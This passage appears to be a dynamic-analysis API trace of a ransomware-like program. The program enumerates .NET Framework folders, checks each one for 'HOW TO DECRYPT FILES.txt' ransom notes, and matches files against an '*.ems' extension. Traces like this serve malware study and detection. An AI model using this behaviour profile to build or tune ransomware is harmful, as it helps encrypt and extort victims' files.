pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.442] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.442] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.442] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="web_lowtrust.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_lowtrust.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_lowtrust.config" [0137.442] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_lowtrust.config", pszSpec="*.ems") returned 0 [0137.442] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x177c, dwReserved0=0x0, dwReserved1=0x0, cFileName="web_lowtrust.config.default", cAlternateFileName="WEB_LO~1.DEF")) returned 1 [0137.442] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.442] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="web_lowtrust.config.default") returned -1 [0137.442] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="web_lowtrust.config.default") returned -1 [0137.442] lstrcmpiA (lpString1="", lpString2="web_lowtrust.config.default") returned -1 [0137.442] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_lowtrust.config") returned="web_lowtrust.config" [0137.442] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.442] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.442] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.442] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.442] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="web_lowtrust.config.default" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_lowtrust.config.default") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_lowtrust.config.default" [0137.443] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_lowtrust.config.default", pszSpec="*.ems") returned 0 [0137.443] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x26c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="web_mediumtrust.config", cAlternateFileName="WEB_ME~1.CON")) returned 1 [0137.443] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.443] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="web_mediumtrust.config") returned -1 [0137.443] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="web_mediumtrust.config") returned -1 [0137.443] lstrcmpiA (lpString1="", lpString2="web_mediumtrust.config") returned -1 [0137.443] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_lowtrust.config.default") returned="web_lowtrust.config.default" [0137.443] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.443] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.443] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.443] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.443] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="web_mediumtrust.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_mediumtrust.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_mediumtrust.config" [0137.443] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_mediumtrust.config", pszSpec="*.ems") returned 0 [0137.444] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x26c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="web_mediumtrust.config.default", cAlternateFileName="WEB_ME~1.DEF")) returned 1 [0137.444] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.444] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="web_mediumtrust.config.default") returned -1 [0137.444] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="web_mediumtrust.config.default") returned -1 [0137.444] lstrcmpiA (lpString1="", lpString2="web_mediumtrust.config.default") returned -1 [0137.444] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_mediumtrust.config") returned="web_mediumtrust.config" [0137.444] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.444] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.444] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.444] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.444] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="web_mediumtrust.config.default" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_mediumtrust.config.default") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_mediumtrust.config.default" [0137.444] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_mediumtrust.config.default", pszSpec="*.ems") returned 0 [0137.444] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1362, dwReserved0=0x0, dwReserved1=0x0, cFileName="web_minimaltrust.config", cAlternateFileName="WEB_MI~1.CON")) returned 1 [0137.444] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.445] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="web_minimaltrust.config") returned -1 [0137.445] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="web_minimaltrust.config") returned -1 [0137.445] lstrcmpiA (lpString1="", lpString2="web_minimaltrust.config") returned -1 [0137.445] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_mediumtrust.config.default") returned="web_mediumtrust.config.default" [0137.445] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.445] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.445] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.445] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.445] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="web_minimaltrust.config" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_minimaltrust.config") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_minimaltrust.config" [0137.445] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_minimaltrust.config", pszSpec="*.ems") returned 0 [0137.445] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1362, dwReserved0=0x0, dwReserved1=0x0, cFileName="web_minimaltrust.config.default", cAlternateFileName="WEB_MI~1.DEF")) returned 1 [0137.445] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.445] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="web_minimaltrust.config.default") returned -1 [0137.445] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="web_minimaltrust.config.default") returned -1 [0137.445] lstrcmpiA (lpString1="", lpString2="web_minimaltrust.config.default") returned -1 [0137.446] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_minimaltrust.config") returned="web_minimaltrust.config" [0137.446] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" [0137.446] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\") returned="" [0137.446] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" [0137.446] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\how to decrypt files.txt")) returned 0x20 [0137.446] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\", lpString2="web_minimaltrust.config.default" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_minimaltrust.config.default") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_minimaltrust.config.default" [0137.446] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\web_minimaltrust.config.default", pszSpec="*.ems") returned 0 [0137.446] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b4b100, ftCreationTime.dwHighDateTime=0x1cac604, ftLastAccessTime.dwLowDateTime=0x9f28d0a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x53b4b100, ftLastWriteTime.dwHighDateTime=0x1cac604, nFileSizeHigh=0x0, nFileSizeLow=0x1362, dwReserved0=0x0, dwReserved1=0x0, cFileName="web_minimaltrust.config.default", cAlternateFileName="WEB_MI~1.DEF")) returned 0 [0137.446] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0137.446] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x58f82300, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1e8b8, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="CORPerfMonExt.dll", cAlternateFileName="CORPER~1.DLL")) returned 1 [0137.447] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.447] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CORPerfMonExt.dll") returned 1 [0137.447] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CORPerfMonExt.dll") returned 1 [0137.447] lstrcmpiA (lpString1="", lpString2="CORPerfMonExt.dll") returned -1 [0137.447] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\*.*") returned="*.*" [0137.447] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.447] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.447] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.447] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.447] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="CORPerfMonExt.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CORPerfMonExt.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CORPerfMonExt.dll" [0137.447] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CORPerfMonExt.dll", pszSpec="*.ems") returned 0 [0137.447] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x813a3400, ftCreationTime.dwHighDateTime=0x1cac5dd, ftLastAccessTime.dwLowDateTime=0x8aaf6f20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x813a3400, ftLastWriteTime.dwHighDateTime=0x1cac5dd, nFileSizeHigh=0x0, nFileSizeLow=0x17b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CORPerfMonSymbols.h", cAlternateFileName="CORPER~1.H")) returned 1 [0137.447] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.447] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CORPerfMonSymbols.h") returned 1 [0137.448] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CORPerfMonSymbols.h") returned 1 [0137.448] lstrcmpiA (lpString1="", lpString2="CORPerfMonSymbols.h") returned -1 [0137.448] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CORPerfMonExt.dll") returned="CORPerfMonExt.dll" [0137.448] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.448] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.448] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.448] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.448] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="CORPerfMonSymbols.h" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CORPerfMonSymbols.h") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CORPerfMonSymbols.h" [0137.448] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CORPerfMonSymbols.h", pszSpec="*.ems") returned 0 [0137.448] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21a2aa00, ftCreationTime.dwHighDateTime=0x1d0aa92, ftLastAccessTime.dwLowDateTime=0x58f82300, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x21a2aa00, ftLastWriteTime.dwHighDateTime=0x1d0aa92, nFileSizeHigh=0x0, nFileSizeLow=0x172576, dwReserved0=0x0, dwReserved1=0x0, cFileName="corperfmonsymbols.ini", cAlternateFileName="CORPER~1.INI")) returned 1 [0137.448] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.448] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="corperfmonsymbols.ini") returned 1 [0137.448] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="corperfmonsymbols.ini") returned 1 [0137.448] lstrcmpiA (lpString1="", lpString2="corperfmonsymbols.ini") returned -1 [0137.448] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\CORPerfMonSymbols.h") returned="CORPerfMonSymbols.h" [0137.449] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.449] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.449] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.449] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.449] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="corperfmonsymbols.ini" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\corperfmonsymbols.ini") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\corperfmonsymbols.ini" [0137.449] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\corperfmonsymbols.ini", pszSpec="*.ems") returned 0 [0137.449] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x58ff4720, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa90, dwReserved0=0x0, dwReserved1=0x0, cFileName="csc.exe", cAlternateFileName="")) returned 1 [0137.449] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.449] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="csc.exe") returned 1 [0137.449] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="csc.exe") returned 1 [0137.449] lstrcmpiA (lpString1="", lpString2="csc.exe") returned -1 [0137.449] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\corperfmonsymbols.ini") returned="corperfmonsymbols.ini" [0137.449] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.449] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.449] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.450] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.450] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="csc.exe" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe" [0137.450] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe", pszSpec="*.ems") returned 0 [0137.450] FindNextFileA (in: hFindFile=0x502598, 